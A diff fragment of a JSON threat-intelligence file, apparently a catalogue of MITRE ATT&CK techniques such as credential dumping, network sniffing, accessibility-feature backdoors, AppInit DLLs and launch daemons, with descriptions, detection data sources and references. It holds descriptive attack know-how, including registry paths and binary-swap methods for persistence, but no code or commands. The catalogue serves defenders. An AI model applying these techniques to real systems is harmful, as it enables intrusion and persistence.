"https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-vista/cc749211(v=ws.10)", + "https://obscuresecurity.blogspot.co.uk/2012/05/gpp-password-retrieval-with-powershell.html" + ] }, - "value": "Credential Dumping" + "uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "value": "Credential Dumping - T1003" }, { - "description": "Adversaries may target user email to collect sensitive information from a target.\n\nFiles containing email data can be acquired from a user's system, such as Outlook storage or cache files .pst and .ost.\n\nAdversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network.\n\nSome adversaries may acquire user credentials and access externally facing webmail applications, such as Outlook Web Access.\n\nDetection: There are likely a variety of ways an adversary could collect email from a target, each with a different mechanism for detection.\n\nFile access of local system email files for Windows Management Instrumentation and PowerShell.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: Authentication logs, File monitoring, Process monitoring, Process use of network", + "description": "Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.\n\nData captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning](https://attack.mitre.org/techniques/T1171), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.\n\nNetwork sniffing may also reveal configuration details, such as running services, version numbers, and other network characteristics (ex: IP addressing, hostnames, VLAN IDs) necessary for follow-on Lateral Movement and/or Defense Evasion activities.", "meta": { + "external_id": "CAPEC-158", + "kill_chain": [ + "mitre-attack:credential-access", + "mitre-attack:discovery" + ], "mitre_data_sources": [ - "Authentication logs", - "File monitoring", + "Network device logs", + "Host network interface", + "Netflow/Enclave netflow", + "Process monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1040", + "https://capec.mitre.org/data/definitions/158.html" + ] + }, + "uuid": "3257eb21-f9a7-4430-8de1-d8b6e288f529", + "value": "Network Sniffing - T1040" + }, + { + "description": "When operating systems boot up, they can start programs or applications called services that perform background system functions. (Citation: TechNet Services) A service's configuration information, including the file path to the service's executable, is stored in the Windows Registry. \n\nAdversaries may install a new service that can be configured to execute at startup by using utilities to interact with services or by directly modifying the Registry. The service name may be disguised by using a name from a related operating system or benign software with [Masquerading](https://attack.mitre.org/techniques/T1036). Services may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1035).", + "meta": { + "external_id": "CAPEC-550", + "kill_chain": [ + "mitre-attack:persistence", + "mitre-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "Windows Registry", + "Process monitoring", + "Process command-line parameters", + "Windows event logs" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1050", + "https://capec.mitre.org/data/definitions/550.html", + "https://technet.microsoft.com/en-us/library/cc772408.aspx", + "https://technet.microsoft.com/en-us/sysinternals/bb963902", + "https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697", + "https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection" + ] + }, + "uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "value": "New Service - T1050" + }, + { + "description": "Adversaries may use fallback or alternate communication channels if the primary channel is compromised or inaccessible in order to maintain reliable command and control and to avoid data transfer thresholds.", + "meta": { + "external_id": "T1008", + "kill_chain": [ + "mitre-attack:command-and-control" + ], + "mitre_data_sources": [ + "Malware reverse engineering", + "Netflow/Enclave netflow", + "Packet capture", "Process monitoring", "Process use of network" ], "mitre_platforms": [ - "Windows Server 2003", - "Windows Server 2008", - "Windows Server 2012", - "Windows XP", - "Windows 7", - "Windows 8", - "Windows Server 2003 R2", - "Windows Server 2008 R2", - "Windows Server 2012 R2", - "Windows Vista", - "Windows 8.1", - "Windows 10" + "Linux", + "Windows", + "macOS" ], "refs": [ - "https://attack.mitre.org/wiki/Technique/T1114" - ], - "uuid": "1608f3e1-598a-42f4-a01a-2e252e81728f" + "https://attack.mitre.org/techniques/T1008", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ] }, - "value": "Email Collection" + "uuid": "f24faf46-3b26-4dbb-98f2-63460498e433", + "value": "Fallback Channels - T1008" }, { - "description": "Adversaries may use fallback or alternate communication channels if the primary channel is compromised or inaccessible in order to maintain reliable command and control and to avoid data transfer thresholds.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.[[Citation: University of Birmingham C2]]\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Packet capture, Netflow/Enclave netflow, Malware reverse engineering, Process use of network, Process monitoring", + "description": "Some security tools inspect files with static signatures to determine if they are known malicious. Adversaries may add data to files to increase the size beyond what security tools are capable of handling or to change the file hash to avoid hash-based blacklists.", "meta": { + "external_id": "CAPEC-572", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Binary file metadata", + "File monitoring", + "Malware reverse engineering" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1009", + "https://capec.mitre.org/data/definitions/572.html" + ] + }, + "uuid": "519630c5-f03f-4882-825c-3af924935817", + "value": "Binary Padding - T1009" + }, + { + "description": "A connection proxy is used to direct network traffic between systems or act as an intermediary for network communications. Many tools exist that enable traffic redirection through proxies or port redirection, including [HTRAN](https://attack.mitre.org/software/S0040), ZXProxy, and ZXPortMap. (Citation: Trend Micro APT Attack Tools)\n\nThe definition of a proxy can also be expanded out to encompass trust relationships between networks in peer-to-peer, mesh, or trusted connections between networks consisting of hosts or systems that regularly communicate with each other.\n\nThe network may be within a single organization or across organizations with trust relationships. Adversaries could use these types of relationships to manage command and control communications, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between victims to avoid suspicion.", + "meta": { + "external_id": "T1090", + "kill_chain": [ + "mitre-attack:command-and-control" + ], + "mitre_data_sources": [ + "Process use of network", + "Process monitoring", + "Netflow/Enclave netflow", + "Packet capture" + ], + "mitre_platforms": [ + "Linux" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1090", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf", + "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/" + ] + }, + "uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", + "value": "Connection Proxy - T1090" + }, + { + "description": "Adversaries may use brute force techniques to attempt access to accounts when passwords are unknown or when password hashes are obtained.\n\n[Credential Dumping](https://attack.mitre.org/techniques/T1003) to obtain password hashes may only get an adversary so far when [Pass the Hash](https://attack.mitre.org/techniques/T1075) is not an option. Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table. Cracking hashes is usually done on adversary-controlled systems outside of the target network. (Citation: Wikipedia Password cracking)\n\nAdversaries may attempt to brute force logins without knowledge of passwords or hashes during an operation either with zero knowledge or by attempting a list of known or possible passwords. This is a riskier option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver)\n\nA related technique called password spraying uses one password, or a small list of passwords, that matches the complexity policy of the domain and may be a commonly used password. Logins are attempted with that password and many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying)", + "meta": { + "external_id": "T1110", + "kill_chain": [ + "mitre-attack:credential-access" + ], + "mitre_data_sources": [ + "Authentication logs" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1110", + "https://en.wikipedia.org/wiki/Password_cracking", + "https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf", + "http://www.blackhillsinfosec.com/?p=4645" + ] + }, + "uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd", + "value": "Brute Force - T1110" + }, + { + "description": "Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.\n\nThe Registry contains a significant amount of information about the operating system, configuration, software, and security. (Citation: Wikipedia Windows Registry) Some of the information may help adversaries to further their operation within a network.", + "meta": { + "external_id": "T1012", + "kill_chain": [ + "mitre-attack:discovery" + ], + "mitre_data_sources": [ + "Windows Registry", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1012", + "https://en.wikipedia.org/wiki/Windows_Registry" + ] + }, + "uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", + "value": "Query Registry - T1012" + }, + { + "description": "An adversary may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into a service specifically designed to accept remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user.", + "meta": { + "external_id": "CAPEC-555", + "kill_chain": [ + "mitre-attack:lateral-movement" + ], + "mitre_data_sources": [ + "Authentication logs" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1021", + "https://capec.mitre.org/data/definitions/555.html" + ] + }, + "uuid": "54a649ff-439a-41a4-9856-8d144a2551ba", + "value": "Remote Services - T1021" + }, + { + "description": "Adversaries may use an existing, legitimate external Web service as a means for relaying commands to a compromised system.\n\nThese commands may also include pointers to command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers.\n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\n\nUse of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).", + "meta": { + "external_id": "T1102", + "kill_chain": [ + "mitre-attack:command-and-control", + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Host network interface", + "Netflow/Enclave netflow", + "Network protocol analysis", + "Packet capture", + "SSL/TLS inspection" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1102", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ] + }, + "uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "value": "Web Service - T1102" + }, + { + "description": "Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows or HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Endgame Process Injection July 2017) Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry)\n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)", + "meta": { + "external_id": "T1103", + "kill_chain": [ + "mitre-attack:persistence", + "mitre-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "Loaded DLLs", + "Process monitoring", + "Windows Registry" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1103", + "https://support.microsoft.com/en-us/kb/197571", + "https://msdn.microsoft.com/en-us/library/dn280412", + "https://technet.microsoft.com/en-us/sysinternals/bb963902", + "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" + ] + }, + "uuid": "317fefa6-46c7-4062-adb6-2008cf6bcb41", + "value": "AppInit DLLs - T1103" + }, + { + "description": "A port monitor can be set through the (Citation: AddMonitor) API call to set a DLL to be loaded at startup. (Citation: AddMonitor) This DLL can be located in C:\\Windows\\System32 and will be loaded by the print spooler service, spoolsv.exe, on boot. The spoolsv.exe process also runs under SYSTEM level permissions. (Citation: Bloxham) Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors. The Registry key contains entries for the following:\n* Local Port\n* Standard TCP/IP Port\n* USB Monitor\n* WSD Port\n\nAdversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.", + "meta": { + "external_id": "T1013", + "kill_chain": [ + "mitre-attack:persistence", + "mitre-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "File monitoring", + "API monitoring", + "DLL monitoring", + "Windows Registry", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1013", + "http://msdn.microsoft.com/en-us/library/dd183341", + "https://www.defcon.org/images/defcon-22/dc-22-presentations/Bloxham/DEFCON-22-Brady-Bloxham-Windows-API-Abuse-UPDATED.pdf", + "https://technet.microsoft.com/en-us/sysinternals/bb963902" + ] + }, + "uuid": "1f47e2fd-fa77-4f2f-88ee-e85df308f125", + "value": "Port Monitors - T1013" + }, + { + "description": "Windows contains accessibility features that may be launched with a key combination before a user has logged in (for example, when the user is on the Windows logon screen). An adversary can modify the way these programs are launched to get a command prompt or backdoor without logging in to the system.\n\nTwo common accessibility programs are C:\\Windows\\System32\\sethc.exe, launched when the shift key is pressed five times and C:\\Windows\\System32\\utilman.exe, launched when the Windows + U key combination is pressed. The sethc.exe program is often referred to as \"sticky keys\", and has been used by adversaries for unauthenticated access through a remote desktop login screen. (Citation: FireEye Hikit Rootkit)\n\nDepending on the version of Windows, an adversary may take advantage of these features in different ways because of code integrity enhancements. In newer versions of Windows, the replaced binary needs to be digitally signed for x64 systems, the binary must reside in %systemdir%\\, and it must be protected by Windows File or Resource Protection (WFP/WRP). (Citation: DEFCON2016 Sticky Keys) The debugger method was likely discovered as a potential workaround because it does not require the corresponding accessibility feature binary to be replaced. Examples for both methods:\n\nFor simple binary replacement on Windows XP and later as well as and Windows Server 2003/R2 and later, for example, the program (e.g., C:\\Windows\\System32\\utilman.exe) may be replaced with \"cmd.exe\" (or another program that provides backdoor access). Subsequently, pressing the appropriate key combination at the login screen while sitting at the keyboard or when connected over [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076) will cause the replaced file to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nFor the debugger method on Windows Vista and later as well as Windows Server 2008 and later, for example, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for the accessibility program (e.g., \"utilman.exe\"). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with RDP will cause the \"debugger\" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nOther accessibility features exist that may also be leveraged in a similar fashion: (Citation: DEFCON2016 Sticky Keys)\n\n* On-Screen Keyboard: C:\\Windows\\System32\\osk.exe\n* Magnifier: C:\\Windows\\System32\\Magnify.exe\n* Narrator: C:\\Windows\\System32\\Narrator.exe\n* Display Switcher: C:\\Windows\\System32\\DisplaySwitch.exe\n* App Switcher: C:\\Windows\\System32\\AtBroker.exe", + "meta": { + "external_id": "CAPEC-558", + "kill_chain": [ + "mitre-attack:persistence", + "mitre-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "Windows Registry", + "File monitoring", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1015", + "https://capec.mitre.org/data/definitions/558.html", + "http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/", + "https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html", + "https://www.slideshare.net/DennisMaldonado5/sticky-keys-to-the-kingdom" + ] + }, + "uuid": "9b99b83a-1aac-4e29-b975-b374950551a3", + "value": "Accessibility Features - T1015" + }, + { + "description": "Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UT-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as /Library/Preferences (which execute with elevated privileges) and ~/Library/Preferences (which execute with a user's privileges). \nAdversaries can modify these plist files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them as a persistence mechanism. (Citation: Sofacy Komplex Trojan)", + "meta": { + "external_id": "T1150", + "kill_chain": [ + "mitre-attack:defense-evasion", + "mitre-attack:persistence", + "mitre-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1150", + "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" + ] + }, + "uuid": "06780952-177c-4247-b978-79c357fb311f", + "value": "Plist Modification - T1150" + }, + { + "description": "Adversaries may add malicious content to an internally accessible website through an open network file share that contains the website's webroot or Web content directory (Citation: Microsoft Web Root OCT 2016) (Citation: Apache Server 2018) and then browse to that content with a Web browser to cause the server to execute the malicious content. The malicious content will typically run under the context and permissions of the Web server process, often resulting in local system or administrative privileges, depending on how the Web server is configured.\n\nThis mechanism of shared access and remote execution could be used for lateral movement to the system running the Web server. For example, a Web server running PHP with an open network share could allow an adversary to upload a remote access tool and PHP script to execute the RAT on the system running the Web server when a specific page is visited. (Citation: Webroot PHP 2011)", + "meta": { + "external_id": "CAPEC-563", + "kill_chain": [ + "mitre-attack:lateral-movement" + ], + "mitre_data_sources": [ + "File monitoring", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1051", + "https://capec.mitre.org/data/definitions/563.html", + "http://httpd.apache.org/docs/2.4/getting-started.html#content", + "https://www.webroot.com/blog/2011/02/22/malicious-php-scripts-on-the-rise/" + ] + }, + "uuid": "804c042c-cfe6-449e-bc1a-ba0a998a70db", + "value": "Shared Webroot - T1051" + }, + { + "description": "Per Apple’s developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons and /Library/LaunchDaemons (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).\n \nAdversaries may install a new launch daemon that can be configured to execute at startup by using launchd or launchctl to load a plist into the appropriate directories (Citation: OSX Malware Detection). The daemon name may be disguised by using a name from a related operating system or benign software (Citation: WireLurker). Launch Daemons may be created with administrator privileges, but are executed under root privileges, so an adversary may also use a service to escalate privileges from administrator to root.\n \nThe plist file permissions must be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon’s executable and gain persistence or Privilege Escalation.", + "meta": { + "external_id": "T1160", + "kill_chain": [ + "mitre-attack:persistence", + "mitre-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "Process monitoring", + "File monitoring" + ], + "mitre_platforms": [ + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1160", + "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html", + "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", + "https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf", + "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf" + ] + }, + "uuid": "e99ec083-abdd-48de-ad87-4dbf6f8ba2a4", + "value": "Launch Daemon - T1160" + }, + { + "description": "Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces behind as to what was done within a network and how. Adversaries may remove these files over the course of an intrusion to keep their footprint low or remove them at the end as part of the post-intrusion cleanup process.\n\nThere are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native [cmd](https://attack.mitre.org/software/S0106) functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools)", + "meta": { + "external_id": "T1107", + "kill_chain": [ + "mitre-attack:defense-evasion" + ], + "mitre_data_sources": [ + "File monitoring", + "Process command-line parameters", + "Binary file metadata" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1107", + "http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/" + ] + }, + "uuid": "56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "value": "File Deletion - T1107" + }, + { + "description": "Adversaries may use more than one remote access tool with varying command and control protocols as a hedge against detection. If one type of tool is detected and blocked or removed as a response but the organization did not gain a full understanding of the adversary's tools and access, then the adversary will be able to retain access to the network. Adversaries may also attempt to gain access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use [External Remote Services](https://attack.mitre.org/techniques/T1133) such as external VPNs as a way to maintain access despite interruptions to remote access tools deployed within a target network. (Citation: Mandiant APT1)\n\nUse of a [Web Shell](https://attack.mitre.org/techniques/T1100) is one such way to maintain access to a network through an externally accessible Web server.", + "meta": { + "external_id": "T1108", + "kill_chain": [ + "mitre-attack:defense-evasion", + "mitre-attack:persistence" + ], + "mitre_data_sources": [ + "Process monitoring", + "Process use of network", + "Packet capture", + "Network protocol analysis", + "File monitoring", + "Authentication logs", + "Binary file metadata" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1108", + "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + ] + }, + "uuid": "6aabc5ec-eae6-422c-8311-38d45ee9838a", + "value": "Redundant Access - T1108" + }, + { + "description": "Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1019) but conducted upon other system components that may not have the same capability or level of integrity checking. Malicious device firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.", + "meta": { + "external_id": "T1109", + "kill_chain": [ + "mitre-attack:defense-evasion", + "mitre-attack:persistence" + ], + "mitre_data_sources": [ + "Disk forensics", + "API monitoring", + "Process monitoring", + "Component firmware" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1109", + "https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html", + "https://www.smartmontools.org/" + ] + }, + "uuid": "10d5f3b7-6be6-4da5-9a77-0f1e2bbfcc44", + "value": "Component Firmware - T1109" + }, + { + "description": "The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: About UEFI)\n\nSystem firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.", + "meta": { + "external_id": "CAPEC-532", + "kill_chain": [ + "mitre-attack:persistence" + ], + "mitre_data_sources": [ + "API monitoring", + "BIOS", + "EFI" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1019", + "https://capec.mitre.org/data/definitions/532.html", + "https://en.wikipedia.org/wiki/BIOS", + "http://www.uefi.org/about", + "http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research", + "http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about", + "https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/", + "https://github.com/chipsec/chipsec", + "http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html", + "https://en.wikipedia.org/wiki/Unified_Extensible_Firmware_Interface" + ] + }, + "uuid": "6856ddd6-2df3-4379-8b87-284603c189c3", + "value": "System Firmware - T1019" + }, + { + "description": "Data is encrypted before being exfiltrated in order to hide the information that is being exfiltrated from detection or to make the exfiltration less conspicuous upon inspection by a defender. The encryption is performed by a utility, programming library, or custom algorithm on the data itself and is considered separate from any encryption performed by the command and control or file transfer protocol. Common file archive formats that can encrypt files are RAR and zip.\n\nOther exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over Command and Control Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048)", + "meta": { + "external_id": "T1022", + "kill_chain": [ + "mitre-attack:exfiltration" + ], + "mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters", + "Binary file metadata" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1022", + "http://www.netsec.colostate.edu/~zhang/DetectingEncryptedBotnetTraffic.pdf", + "https://en.wikipedia.org/wiki/List_of_file_signatures" + ] + }, + "uuid": "d54416bd-0803-41ca-870a-ce1af7c05638", + "value": "Data Encrypted - T1022" + }, + { + "description": "Certain types of traffic (e.g., DNS tunneling, header inject) allow for user-defined fields. These fields can then be used to hide data. In addition to hiding data in network protocols, steganography techniques can be used to hide data in images or other file formats. Detection can be difficult unless a particular signature is already known. (Citation: BotnetsDNSC2) (Citation: HAMMERTOSS2015) (Citation: DNS-Tunnel)", + "meta": { + "external_id": "T1320", + "kill_chain": [ + "mitre-pre-attack:adversary-opsec" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1320" + ] + }, + "uuid": "1ff8b824-5287-4583-ab6a-013bf36d4864", + "value": "Data Hiding - T1320" + }, + { + "description": "Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process. Adversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.", + "meta": { + "external_id": "T1023", + "kill_chain": [ + "mitre-attack:persistence" + ], + "mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1023" + ] + }, + "uuid": "970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "value": "Shortcut Modification - T1023" + }, + { + "description": "An adversary may rely upon specific actions by a user in order to gain execution. This may be direct code execution, such as when a user opens a malicious executable delivered via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) with the icon and apparent extension of a document file. It also may lead to other execution techniques, such as when a user clicks on a link delivered via [Spearphishing Link](https://attack.mitre.org/techniques/T1192) that leads to exploitation of a browser or application vulnerability via [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203). While User Execution frequently occurs shortly after Initial Access it may occur at other phases of an intrusion, such as when an adversary places a file in a shared directory or on a user's desktop hoping that a user will click on it.", + "meta": { + "external_id": "T1204", + "kill_chain": [ + "mitre-attack:execution" + ], + "mitre_data_sources": [ + "Anti-virus", + "Process command-line parameters", + "Process monitoring" + ], + "mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1204" + ] + }, + "uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "value": "User Execution - T1204" + }, + { + "description": "Once divided into the most granular parts, analysts work with collection managers to task the collection management system with requirements and sub-requirements. (Citation: Heffter) (Citation: JP2-01)", + "meta": { + "external_id": "T1240", + "kill_chain": [ + "mitre-pre-attack:priority-definition-direction" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1240" + ] + }, + "uuid": "b93bd611-da4e-4c84-a40f-325b712bed67", + "value": "Task requirements - T1240" + }, + { + "description": "Port Knocking is a well-established method used by both defenders and adversaries to hide open ports from access. To enable a port, an adversary sends a series of packets with certain characteristics before the port will be opened. Usually this series of packets consists of attempted connections to a predefined sequence of closed ports, but can involve unusual flags, specific strings or other unique characteristics. After the sequence is completed, opening a port is often accomplished by the host based firewall, but could also be implemented by custom software. \n\nThis technique has been observed to both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.\n\nThe observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r (Citation: Hartrell cd00r 2002), is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.", + "meta": { + "external_id": "T1205", + "kill_chain": [ + "mitre-attack:defense-evasion", + "mitre-attack:persistence", + "mitre-attack:command-and-control" + ], + "mitre_platforms": [ + "Linux", + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1205", + "https://www.giac.org/paper/gcih/342/handle-cd00r-invisible-backdoor/103631" + 